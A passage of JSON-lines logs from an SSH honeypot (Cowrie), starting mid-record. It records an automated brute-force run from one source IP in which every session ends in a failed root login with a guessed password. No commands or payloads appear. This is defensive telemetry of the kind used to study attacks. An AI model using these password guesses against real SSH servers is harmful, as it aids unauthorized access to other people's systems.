acCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:36.449158Z","src_ip":"60.165.124.241","session":"053417f3ec5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdQWE!@#","message":"login attempt [root/asdQWE!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:37.221698Z","src_ip":"60.165.124.241","session":"053417f3ec5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:38.473620Z","src_ip":"60.165.124.241","session":"053417f3ec5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53932,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d1679c764d7","protocol":"ssh","message":"New connection: 60.165.124.241:53932 (10.17.0.5:22) [session: 7d1679c764d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:38.704085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:38.708611Z","src_ip":"60.165.124.241","session":"7d1679c764d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:38.957674Z","src_ip":"60.165.124.241","session":"7d1679c764d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cms123","message":"login attempt [root/cms123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:39.689118Z","src_ip":"60.165.124.241","session":"7d1679c764d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:40.936638Z","src_ip":"60.165.124.241","session":"7d1679c764d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56646,"dst_ip":"10.17.0.5","dst_port":22,"session":"222d8996c8ec","protocol":"ssh","message":"New connection: 60.165.124.241:56646 (10.17.0.5:22) [session: 222d8996c8ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:41.190862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:41.195664Z","src_ip":"60.165.124.241","session":"222d8996c8ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:41.448960Z","src_ip":"60.165.124.241","session":"222d8996c8ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234!","message":"login attempt [root/root1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:42.217261Z","src_ip":"60.165.124.241","session":"222d8996c8ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:43.469255Z","src_ip":"60.165.124.241","session":"222d8996c8ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59722,"dst_ip":"10.17.0.5","dst_port":22,"session":"371f49c936fd","protocol":"ssh","message":"New connection: 60.165.124.241:59722 (10.17.0.5:22) [session: 371f49c936fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:43.697301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:43.704950Z","src_ip":"60.165.124.241","session":"371f49c936fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:43.945585Z","src_ip":"60.165.124.241","session":"371f49c936fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"odroid1234","message":"login attempt [root/odroid1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:44.677064Z","src_ip":"60.165.124.241","session":"371f49c936fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:45.921110Z","src_ip":"60.165.124.241","session":"371f49c936fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34304,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8d3300c8d82","protocol":"ssh","message":"New connection: 60.165.124.241:34304 (10.17.0.5:22) [session: b8d3300c8d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:46.155167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:46.159653Z","src_ip":"60.165.124.241","session":"b8d3300c8d82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:46.398172Z","src_ip":"60.165.124.241","session":"b8d3300c8d82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1024","message":"login attempt [root/1024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:47.138895Z","src_ip":"60.165.124.241","session":"b8d3300c8d82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:48.382613Z","src_ip":"60.165.124.241","session":"b8d3300c8d82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37464,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cdaaf55f20b","protocol":"ssh","message":"New connection: 60.165.124.241:37464 (10.17.0.5:22) [session: 8cdaaf55f20b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:48.623616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:48.627638Z","src_ip":"60.165.124.241","session":"8cdaaf55f20b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:48.869083Z","src_ip":"60.165.124.241","session":"8cdaaf55f20b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123..","message":"login attempt [root/abc123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:49.594295Z","src_ip":"60.165.124.241","session":"8cdaaf55f20b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:50.843832Z","src_ip":"60.165.124.241","session":"8cdaaf55f20b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40406,"dst_ip":"10.17.0.5","dst_port":22,"session":"d085bc358789","protocol":"ssh","message":"New connection: 60.165.124.241:40406 (10.17.0.5:22) [session: d085bc358789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:51.077414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:51.082342Z","src_ip":"60.165.124.241","session":"d085bc358789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:51.340704Z","src_ip":"60.165.124.241","session":"d085bc358789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123q123q","message":"login attempt [root/123q123q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:52.077566Z","src_ip":"60.165.124.241","session":"d085bc358789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:53.321276Z","src_ip":"60.165.124.241","session":"d085bc358789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43352,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b22666d5729","protocol":"ssh","message":"New connection: 60.165.124.241:43352 (10.17.0.5:22) [session: 1b22666d5729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:53.552682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:53.557760Z","src_ip":"60.165.124.241","session":"1b22666d5729","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:53.799406Z","src_ip":"60.165.124.241","session":"1b22666d5729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"114514aA@","message":"login attempt [root/114514aA@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:54.517869Z","src_ip":"60.165.124.241","session":"1b22666d5729","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:55.759128Z","src_ip":"60.165.124.241","session":"1b22666d5729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46330,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecac2353744c","protocol":"ssh","message":"New connection: 60.165.124.241:46330 (10.17.0.5:22) [session: ecac2353744c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:55.995100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:56.000304Z","src_ip":"60.165.124.241","session":"ecac2353744c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:56.239761Z","src_ip":"60.165.124.241","session":"ecac2353744c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pudietest","message":"login attempt [root/pudietest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:56.970699Z","src_ip":"60.165.124.241","session":"ecac2353744c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:58.220401Z","src_ip":"60.165.124.241","session":"ecac2353744c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49142,"dst_ip":"10.17.0.5","dst_port":22,"session":"c786d931a188","protocol":"ssh","message":"New connection: 60.165.124.241:49142 (10.17.0.5:22) [session: c786d931a188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:58.457153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:58.461241Z","src_ip":"60.165.124.241","session":"c786d931a188","protocol":"ssh"}
